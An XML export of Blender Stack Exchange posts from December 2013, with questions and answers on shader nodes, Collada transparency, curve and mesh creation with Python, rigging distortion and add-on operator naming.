  <row Id="5758" PostTypeId="2" ParentId="5699" CreationDate="2013-12-23T21:50:25.227" Score="6" Body="&lt;p&gt;I have made a node setup that renders like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LFil0.png&quot; alt=&quot;Rendered stone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It consists of two diffuse shaders. One is your stone texture from above (well almost). The other is a simple green &quot;dirt&quot; material. The real trick is to combine the dirt with the stone in a believable pattern. I tried multiplying two noise textures with some distortion. Distortion makes noise be liked two colors of paint where you have stirred it some. You get a swirling pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get this further, I would add some bump to the dirt shader. Also, I would bake an AO map and use that in the mask, letting it influence the mask so that there is more dirt in crevices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hYZkb.png&quot; alt=&quot;Node setup&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-23T21:50:25.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5759" PostTypeId="2" ParentId="5740" CreationDate="2013-12-23T23:57:46.440" Score="12" Body="&lt;p&gt;A specular highlight in real life is in fact a reflection of a light source, so to get a physically accurate highlight, the glossy shader is what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, another way to get such a highlight is the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Toon&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Toon&lt;/em&gt; shader&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VMNYv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shader gives you more control over the exact size and smoothness of the highlight.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-24T00:20:05.193" LastActivityDate="2013-12-24T00:20:05.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5760" PostTypeId="1" CreationDate="2013-12-24T00:01:37.830" Score="4" ViewCount="1054" Body="&lt;p&gt;I created an object with glass-like appearance upon rendering using raytracing in blender, but when I export to collada, the material's transparency doesn't seem to be transferred. Is there any way I can preserve the transparency of the material when I export?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My material properties are as shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5ADD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1943" LastActivityDate="2013-12-25T06:01:37.560" Title="Exporting to Collada --&gt; Loss of Transparency" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5761" PostTypeId="2" ParentId="5755" CreationDate="2013-12-24T00:39:50.430" Score="38" Body="&lt;p&gt;Another procedual way is to simply enable the &lt;strong&gt;Add Curve: Extra Objects&lt;/strong&gt; addon. It is used to generate many kinds of curves with various parameters, including spirals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable it, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; to open &lt;strong&gt;User Preferences&lt;/strong&gt; window, then find and enable it under the &lt;strong&gt;Addons&lt;/strong&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Oj5zc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can tweak feature like &lt;em&gt;Bevel&lt;/em&gt; or &lt;em&gt;Extrude&lt;/em&gt; in the curve's Object Data tab to bring depth for it.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="2173" LastEditDate="2014-03-28T16:57:20.197" LastActivityDate="2014-03-28T16:57:20.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5762" PostTypeId="2" ParentId="5745" CreationDate="2013-12-24T01:27:38.537" Score="6" Body="&lt;p&gt;Here are some solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) export your drawing in &lt;code&gt;Python&lt;/code&gt; (&lt;code&gt;numpy&lt;/code&gt;) as &lt;code&gt;SVG&lt;/code&gt; file (say using &lt;a href=&quot;http://matplotlib.org/&quot;&gt;&lt;code&gt;MatPlotLib&lt;/code&gt;&lt;/a&gt;)&lt;br&gt;&#xA;  2) import &lt;code&gt;SVG&lt;/code&gt; file into &lt;code&gt;Blender&lt;/code&gt;&lt;br&gt;&#xA;  3) apply &lt;code&gt;bevel&lt;/code&gt; to that&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2:&lt;/strong&gt;&#xA;In the following however we did it in a different way.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1) We traced your image in &lt;a href=&quot;http://inkscape.org/en/&quot;&gt;&lt;code&gt;Inkscape&lt;/code&gt;&lt;/a&gt;&lt;br&gt;&#xA;  2) and exported as &lt;code&gt;SVG&lt;/code&gt; file.&lt;br&gt;&#xA;  3) In blender we just made it &lt;code&gt;mesh&lt;/code&gt; and applied &lt;code&gt;extrude&lt;/code&gt;.  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zsuuu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2013-12-24T01:27:38.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5763" PostTypeId="2" ParentId="5745" CreationDate="2013-12-24T01:33:22.763" Score="5" Body="&lt;p&gt;You could construct geometry based on this data, probably the most straightforward method would be to create a 2D curve with Python.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# These coords are just an example and can be any length.&#xA;# They can be from a numpy array or loaded from a file.&#xA;coords = [&#xA;    (0.1, 0.21),&#xA;    (0.4, 0.24),&#xA;    (0.6, 0.4),&#xA;    (0.7, 0.1),&#xA;    (-0.2, -0.3),&#xA;    ]&#xA;&#xA;import bpy&#xA;&#xA;cu = bpy.data.curves.new(name=&quot;MyCurve&quot;, type='CURVE')&#xA;&#xA;# setup curve&#xA;cu.fill_mode = 'NONE'&#xA;cu.extrude = 0.02&#xA;cu.bevel_depth = 0.02&#xA;&#xA;# link to scene&#xA;ob = bpy.data.objects.new(name=&quot;MyObject&quot;, object_data=cu)&#xA;scene = bpy.context.scene&#xA;scene.objects.link(ob)&#xA;&#xA;# fill curve with data&#xA;spline = cu.splines.new(type='POLY')&#xA;# -1 because we already have a point&#xA;spline.points.add(len(coords) - 1)&#xA;for i, point in enumerate(spline.points):&#xA;    point.co[0:2] = coords[i]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This can be added to the end if you want to convert to a mesh for printing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ----------------------------------------&#xA;# Optional: Convert to a mesh and cap ends&#xA;&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;scene.objects.active = ob&#xA;ob.select = True&#xA;&#xA;bpy.ops.object.convert(target='MESH')&#xA;bpy.ops.object.mode_set(mode='EDIT', toggle=False)&#xA;bpy.ops.mesh.select_all(action='SELECT')&#xA;bpy.ops.mesh.remove_doubles()&#xA;bpy.ops.mesh.fill_holes(sides=0)  # cap ends&#xA;bpy.ops.object.mode_set(mode='OBJECT', toggle=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-25T10:14:02.353" LastActivityDate="2013-12-25T10:14:02.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5764" PostTypeId="2" ParentId="5699" CreationDate="2013-12-24T02:05:56.033" Score="6" Body="&lt;p&gt;Here is another attempt, using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Musgrave_Texture&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Musgrave&lt;/em&gt; noise&lt;/a&gt; to create an overall uneven distribution to the dirt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m1F3i.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m1F3i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vs1za.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vs1za.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;em&gt;Voronoi Crackle&lt;/em&gt; node group:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DlOwh.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DlOwh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://www.pasteall.org/blend/25874&quot; rel=&quot;noreferrer&quot;&gt;blendfile&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-24T02:05:56.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5765" PostTypeId="2" ParentId="5744" CreationDate="2013-12-24T05:04:54.097" Score="3" Body="&lt;p&gt;I bet there's no way as simple as Greg's addon, currently. If you still chasing for another possible answer, try using &lt;strong&gt;Add Shader&lt;/strong&gt;, hit &lt;kbd&gt;M&lt;/kbd&gt; to mute one to show another. (Select them both then hit &lt;kbd&gt;M&lt;/kbd&gt; will do a quicker switch)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0YI29.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I would recommend Greg's addon. Whatever, if this is what you want.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-24T05:04:54.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5766" PostTypeId="1" CreationDate="2013-12-24T05:42:33.990" Score="5" ViewCount="1297" Body="&lt;p&gt;When i made a new action called reload , it all looks fine and dandy ... and then i move the green line frame thing and&lt;img src=&quot;https://i.stack.imgur.com/zxzmv.png&quot; alt=&quot;move it one bit&quot;&gt; THIS happens ... I swear nothing works ... &#xA;&lt;img src=&quot;https://i.stack.imgur.com/ODRZB.png&quot; alt=&quot;Before moving green line&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2013-12-25T02:43:24.467" Title="Everything gets distorted when animating?" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5769" PostTypeId="2" ParentId="5691" CreationDate="2013-12-24T05:51:06.827" Score="0" Body="&lt;p&gt;i had this problem ... you just open a new tab and open the uv/image editor , in your 3d view go into edit mode for the object you want ( which is black ) , and then in the uv/image editor , click the texture panel and select the texture you want .&lt;img src=&quot;https://i.stack.imgur.com/JwXoC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2013-12-24T05:51:06.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5770" PostTypeId="2" ParentId="5766" CreationDate="2013-12-24T07:00:37.343" Score="4" Body="&lt;p&gt;The most frequent cause of this problem, in my experience, is multiple &lt;strong&gt;Armature&lt;/strong&gt; modifier on the object. With that setup, the mesh deformed by the first &lt;strong&gt;Armature&lt;/strong&gt; modifier gets further deformed by subsequent modifiers, which results in broken deformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ggHsR.gif&quot; alt=&quot;1b&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also check that the bones are keyframed using plain &lt;strong&gt;Location&lt;/strong&gt; / &lt;strong&gt;Rotation&lt;/strong&gt; / &lt;strong&gt;Scale&lt;/strong&gt; keying set. Keyframing with &lt;strong&gt;Visual Loc/Rot/Scale&lt;/strong&gt; can ruin certain constrained bone setup. (Just for more complete information. This is unlikely in your rig's case, being not constrained at all.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I've seen the file, and found the rig animatable as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iJbgv.gif&quot; alt=&quot;2a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I notice the hand object is scaled way down to fit the armature. That could be a problem, because it'd ruin the animation if the object's scale is somehow reset or keyframed to a different value. Maybe you've done something inadvertent when keyframing this particular action, that triggers the object scale's change. I suggest to &lt;strong&gt;Apply&lt;/strong&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Scale&lt;/em&gt; the object and redo the animation data.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-25T02:43:24.467" LastActivityDate="2013-12-25T02:43:24.467" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5771" PostTypeId="1" CreationDate="2013-12-24T10:57:49.657" Score="0" ViewCount="5058" Body="&lt;p&gt;How to delete the &lt;em&gt;History&lt;/em&gt; from python? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click the &lt;em&gt;History&lt;/em&gt; button in &lt;em&gt;Tool Shelf &gt; Object Tools &gt; History&lt;/em&gt;, it shows list of the operations I did.&lt;br&gt;&#xA;&lt;strong&gt;&lt;em&gt;How to clear this with python code?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1501" LastEditorUserId="599" LastEditDate="2013-12-24T21:44:13.790" LastActivityDate="2013-12-30T01:44:57.220" Title="Delete operation history from python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5773" PostTypeId="1" AcceptedAnswerId="5775" CreationDate="2013-12-24T11:31:06.817" Score="6" ViewCount="1855" Body="&lt;p&gt;I have a pre-rendered animation that I want to play on a TV model in my new scene animation, and I really don't know how. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I do it within Blender, or should I make the material on the TV screen green, so I can green-screen it on?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2013-12-24T11:59:26.380" LastActivityDate="2013-12-24T11:59:26.380" Title="How to play an animation on a mesh?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5774" PostTypeId="1" CreationDate="2013-12-24T11:39:07.027" Score="1" ViewCount="1428" Body="&lt;p&gt;Hi: I keep trying to put a jpg image on a mesh, but its being far too complex, and I was thinking there must be an easier way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to edit the following code to do that, but I keep failing (all the objects on the blend file will change their surface to their last image, and weird things happening)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;imagen_original=bpy.data.images.load(filepath=&quot;D:\ERASE\LeoGoodOne\VoidRay_SC2_Rend1.jpg&quot;)  &#xA;# importa el archivo&#xA;nombre_textura = &quot;nombre_textura_&quot; + str(index)&#xA;# define el nombre de la textura&#xA;textura_creada = bpy.data.textures.new(nombre_textura, type = 'IMAGE')&#xA;# crea la textura&#xA;bpy.data.textures[nombre_textura].image = imagen_original&#xA;# asigna el archivo a la textura&#xA;textura_en_material = bpy.data.materials[nombre_material].texture_slots.add()&#xA;#agrega un slot para textura&#xA;textura_en_material.texture = textura_creada&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the question is, which is the simplest way to add an image to a mesh in python, given we have the path and the mesh is selected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;filepath=&quot;D:\ERASE\LeoGoodOne\VoidRay_SC2_Rend1.jpg&quot;&#xA;bpy.ops.mesh.primitive_plane_add(view_align=False, enter_editmode=False, location=(-5, 0, 0.3), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.context.scene.objects.active.select = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1950" LastEditorUserId="696" LastEditDate="2013-12-24T11:57:36.963" LastActivityDate="2013-12-24T11:57:36.963" Title="Simplest way to add/insert an image to a plane/mesh with python" Tags="&lt;python&gt;&lt;mesh&gt;&lt;image&gt;" AnswerCount="0" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5775" PostTypeId="2" ParentId="5773" CreationDate="2013-12-24T11:48:29.650" Score="5" Body="&lt;h1&gt;Blender Internal:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new texture and set the type to &lt;em&gt;image or movie&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select a file, then set the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Types/Image#Image&quot;&gt;source&lt;/a&gt;&lt;/em&gt; to either &lt;em&gt;Sequence&lt;/em&gt; or &lt;em&gt;Movie&lt;/em&gt; depending on the format your rendered animation is in. (e.g. &lt;em&gt;Sequence&lt;/em&gt; for an image sequence, or &lt;em&gt;Movie&lt;/em&gt; for a single video file.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Textures#Image_Texture&quot;&gt;&lt;em&gt;Image Texture&lt;/em&gt;&lt;/a&gt; node and open a file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Source&lt;/em&gt; (this option will appear after you select a file) to either &lt;em&gt;Sequence&lt;/em&gt; or &lt;em&gt;Movie&lt;/em&gt;, again depending on the format your rendered animation is in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-24T11:48:29.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5776" PostTypeId="1" CreationDate="2013-12-24T13:05:14.960" Score="2" ViewCount="482" Body="&lt;p&gt;Using 123D catch (creates 3d models from picures) I created two mesh obj of an hand in dorsal perspective (palm down), and another in the palmar perspective (palm up). I'm trying to come up with procedure to merge them together and create a whole hand model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a look at stiching UVs but it seems that I need the same number of vertices in both hands meshes. Bolean operations seem a reasonable option but the result requires some further modelling I don't have much experience. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insights to this project would be much appreciated. E.g. Which prodecure is best bolean vs. stiching, how to change vertices at boundary loop to the same number in both meshes. Or any other aspect for this. Scripting advice for these would also bee nice. I.e. what kind treatment do I need to give meshes to create a script for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards,&#xA;Miguel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:picture of the hands added if more clarification needed let me know. This is a rough model based on a old picture I have of my own hands &lt;img src=&quot;https://i.stack.imgur.com/5jSOg.jpg&quot; alt=&quot;quick model of hands.&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="1952" LastEditorUserId="1952" LastEditDate="2013-12-24T18:36:32.260" LastActivityDate="2013-12-26T04:32:27.637" Title="How to merge two hand perspectives?" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;uv&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5778" PostTypeId="2" ParentId="5760" CreationDate="2013-12-24T16:52:53.727" Score="-1" Body="&lt;p&gt;If i am not wrong.. transparency is not imported into any software(May be bug in libraries).&#xA;Transparency is exported as expected but cannot be imported back. &#xA;You could verify by opening the exported file in web browser, and search for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;transparency&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and see the value exported. you could also check by changing alpha value and re exporting..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if i am wrong..&lt;/p&gt;&#xA;" OwnerUserId="1364" LastEditorUserId="1364" LastEditDate="2013-12-25T06:01:37.560" LastActivityDate="2013-12-25T06:01:37.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5779" PostTypeId="1" AcceptedAnswerId="5780" CreationDate="2013-12-24T18:34:30.513" Score="7" ViewCount="3398" Body="&lt;p&gt;How can I increase the size of the command history in the Python console?&lt;br&gt;&#xA;The console options don't provide any option for doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like Maya's unlimited output section in the script editor.&lt;/p&gt;&#xA;" OwnerUserId="1957" LastEditorUserId="12" LastEditDate="2014-03-01T14:13:55.817" LastActivityDate="2014-03-01T14:13:55.817" Title="How to increase the scrollback history of the Python console/terminal within Blender?" Tags="&lt;interface&gt;&lt;command-line&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5780" PostTypeId="2" ParentId="5779" CreationDate="2013-12-24T18:50:28.293" Score="6" Body="&lt;p&gt;You can do this by going to &lt;em&gt;User Preferences &gt; System&lt;/em&gt; and changing the value in &lt;em&gt;Console Scrollback&lt;/em&gt; under the &lt;em&gt;General&lt;/em&gt; category. It's set to &lt;code&gt;256&lt;/code&gt; by default.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-24T18:55:55.587" LastActivityDate="2013-12-24T18:55:55.587" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5781" PostTypeId="1" CreationDate="2013-12-24T19:04:08.170" Score="13" ViewCount="15924" Body="&lt;p&gt;If I select a face of a cube and switch over to the internal Python console and pass:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.selected_objects&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[bpy.data.objects['Cube']]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of something like &lt;code&gt;[bpy.data.objects['Cube'].f[1]]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming from Maya I was looking for something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pymel.core as pc&#xA;&#xA;print pc.ls(sl=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which in the above case would return the face id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing applies for vertices and edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about getting a detailed selection list programmatically?&lt;/p&gt;&#xA;" OwnerUserId="1957" LastEditorUserId="599" LastEditDate="2013-12-24T21:25:31.527" LastActivityDate="2015-03-09T09:46:01.043" Title="How to list all selected elements in python?" Tags="&lt;python&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5782" PostTypeId="2" ParentId="5776" CreationDate="2013-12-24T19:21:33.630" Score="0" Body="&lt;p&gt;My advice is that this is not the right way to go about creating a model of your own hand. There is no simple way to merge these two together, especially if they are not in EXACTLY the same position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let me answer your question first. Stitching would be the best, but you don't necessarily need the same number of vertices on each side, you just have to build the polys by hand (lol). There are some tools that make the process a little easier, like bridge (which is built into Blender, IIRC, tho you may have to turn it on in the add-ons part of the user preferences). To find bridge, press the space-bar and type &quot;bridge.&quot; If it doesn't show up, it's probably not turned on yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A boolean would be the simplest option, but your two models have to be in EXACTLY the right condition for the boolean to do you any good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the two halves were in EXACTLY the same position (like two halves of a clam's shell) then a boolean union would be relatively simple, and would just require a lot of cleanup afterward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if these were generated from two different pictures, and they're in two different positions, there's no magic way to just merge them together. Even if you were to stitch them together manually, you're going to have to do a LOT of fudging to make (for example) the index finger of one hand match the position of the index finger on the &quot;other&quot; hand. In which case, it's going to be really hard to guarantee that the final result actually matches your real hand. If you're going to do that much fudging, you might as well model it from scratch, the &quot;traditional&quot; way, and end up with a better topology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your goal is to model your own hand, this is probably the MOST difficult way to go about it ;-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your goal is to create a 3D model using 123Catch, then you need to follow their recommended method of taking pictures all the way around your hand, without moving your hand. This method will give you a single model, instead of two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-24T19:21:33.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5783" PostTypeId="2" ParentId="5781" CreationDate="2013-12-24T22:01:32.110" Score="3" Body="&lt;p&gt;In blender there is a difference between an &lt;em&gt;object&lt;/em&gt; and elements such as &lt;em&gt;faces&lt;/em&gt;, &lt;em&gt;edges&lt;/em&gt;, and &lt;em&gt;vertices&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if a collection of selected elements is stored anywhere, but you can iterate through every face and check if it's selected via &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_68_release/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon.select&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;polygon.select&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.data.objects['Cube']&#xA;&#xA;for poly in ob.data.polygons:&#xA;    if poly.select == True:&#xA;        # Do stuff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that you must be in object mode for this to work.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-12-24T22:01:32.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5784" PostTypeId="1" AcceptedAnswerId="5787" CreationDate="2013-12-25T01:38:28.380" Score="13" ViewCount="4276" Body="&lt;p&gt;Since anything before and after the dot is arbitrary, why bother?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RuntimeError: Error: Registering operator class: 'abcdefg', invalid bl_idname 'abcdefg', must contain 1 '.' character&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="55" LastEditDate="2013-12-25T08:08:17.797" LastActivityDate="2013-12-25T08:20:02.290" Title="Why does operators bl_idname have to contain 1 dot?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5785" PostTypeId="1" AcceptedAnswerId="5826" CreationDate="2013-12-25T01:44:11.193" Score="1" ViewCount="222" Body="&lt;p&gt;I'm getting it run every time I hover a mouse over the button. Isn't it a bug? I thought it must be executed just once on addon activation.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastEditorUserId="1958" LastEditDate="2013-12-25T11:35:03.917" LastActivityDate="2016-07-02T17:47:35.060" Title="When exactly __init__() of bpy.types.Panel subclass must be executed?" Tags="&lt;python&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
